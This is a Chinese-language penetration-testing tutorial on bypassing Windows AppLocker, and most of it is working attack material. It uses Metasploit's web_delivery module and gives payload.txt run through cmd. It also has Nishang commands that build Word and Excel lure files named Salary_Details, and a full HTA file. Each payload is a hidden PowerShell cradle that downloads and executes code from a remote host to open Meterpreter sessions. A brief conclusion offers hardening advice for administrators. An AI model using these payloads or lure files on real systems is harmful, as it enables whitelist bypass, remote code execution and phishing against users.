导语:绕过AppLocker的限制通常需要使用Microsoft信任的二进制文件来执行代码或弱路径规则。然而,在系统中,系统已经配置了默认规则,并且允许使用命令提示符和PowerShell来通过使用具有不同文件扩展名的有效载荷来绕过AppLocker。

绕过AppLocker的限制通常需要使用Microsoft信任的二进制文件来执行代码或弱路径规则。然而,在系统中,系统已经配置了默认规则,并且允许使用命令提示符和PowerShell来通过使用具有不同文件扩展名的有效载荷来绕过AppLocker。

可以使用Metasploit 的Web delivery模块来托管要使用到的powershell有效载荷,并从目标中检索传入的连接。

exploit/multi/script/web_delivery

1497320721744834.png

Web Delivery模块 – PowerShell有效载荷

默认情况下,直接从命令提示符执行.bat文件将会被阻止,.bat文件不允许执行。

1497320751590809.png

AppLocker – 限制bat文件的执行

但是,通过将此文件的扩展名更改为.txt并从命令提示符执行相同的有效载荷后将会返回一个Meterpreter会话。

cmd.exe /K < payload.txt

1497320768492294.png

命令提示符 –将.bat文件作为txt执行

payload.txt

@echo off
powershell.exe -nop -w hidden -c IEX   (new-object net.webclient).downloadstring('http://192.168.100.3:8080/9Q21wiSds9E0pxi');
PAUSE

在PowerShell中,可以使用Get-Content cmdlet读取txt文件的内容,然后利用Invoke-Expression运行payload-powershell.txt文件中包含的命令:

IEX (new-object   net.webclient).downloadstring('
http://192.168.100.3:8080/9Q21wiSds9E0pxi
');

1497320859789424.png

PowerShell – 从txt文件中执行有效载荷

Metasploit监听器将收到两个Meterpreter会话:

1497320867379834.png

Web Delivery – 获取Meterpreter会话

文件扩展名

像Microsoft Word和Excel这类应用程序系统应该是允许执行的,并且可以作为另一种方法来传递绕过AppLocker的恶意有效载荷。Nishang PowerShell框架可用于生成各种文件后缀,其中可以包含特定的有效载荷,如:

DOC
XLS
HTA
LNK

应该注意到的是,系统需要先安装office,否则nishang将无法生成相关的文件。

PS C:nishangClient> Import-Module   .Out-Word.ps1
PS C:nishangClient> Import-Module   .Out-Excel.ps1
PS C:nishangClient> Out-Word -Payload   "powershell.exe -nop -w hidden -c IEX (new-object   net.webclient).downloadstring(
'http://192.168.100.3:8080/9Q21wiSds9E0pxi');"
Saved to file   C:nishangClientSalary_Details.doc
0
PS C:nishangClient> Out-Excel -Payload   "powershell.exe -nop -w hidden -c IEX (new-object   net.webclient).downloadstring
('http://192.168.100.3:8080/9Q21wiSds9E0pxi');"
Saved to file   C:nishangClientSalary_Details.xls
0
PS C:nishangClient>

1497320877883642.png

Nishang – 嵌入了恶意有效载荷的Word和Excel文件

Nishang还有两个PowerShell脚本,可以用来生成嵌入了PowerShell有效载荷的CHM文件和快捷方式。应该注意到的是,Nishang 依赖于HTML Help Workshop应用程序来生成.CHM文件。

1497320885837683.png

Nishang – 编译HTML文件和嵌入了恶意有效载荷的快捷方式

以下代码可用于通过.HTA应用程序绕过AppLocker和其他应用程序白名单软件。

pentestlab.hta

<HTML>
<HEAD>
<script language="VBScript">
Set objShell =   CreateObject("Wscript.Shell")
objShell.Run "powershell -nop -exec   bypass -c IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.3:8080/9Q21wiSds9E0pxi')"
</script>
</HEAD>
<BODY>
</BODY>
</HTML>

下面的所有文件扩展名都可以执行托管在远程的用于绕过AppLocker规则的powershell有效载荷。

1497320900230458.png

Nishang – 生成的文件扩展名

结论

启用AppLocker而不阻止命令提示符和PowerShell那么仍然是可以允许执行代码的,即使特定的文件扩展名被阻止。系统所有者和IT管理员需要删除可以执行代码(如果这些应用程序不提供特定业务目的的话)的信任应用程序,并且为标准用户启用拒绝命令提示符和PowerShell执行的规则以及DLL规则。

源链接

Hacking more

...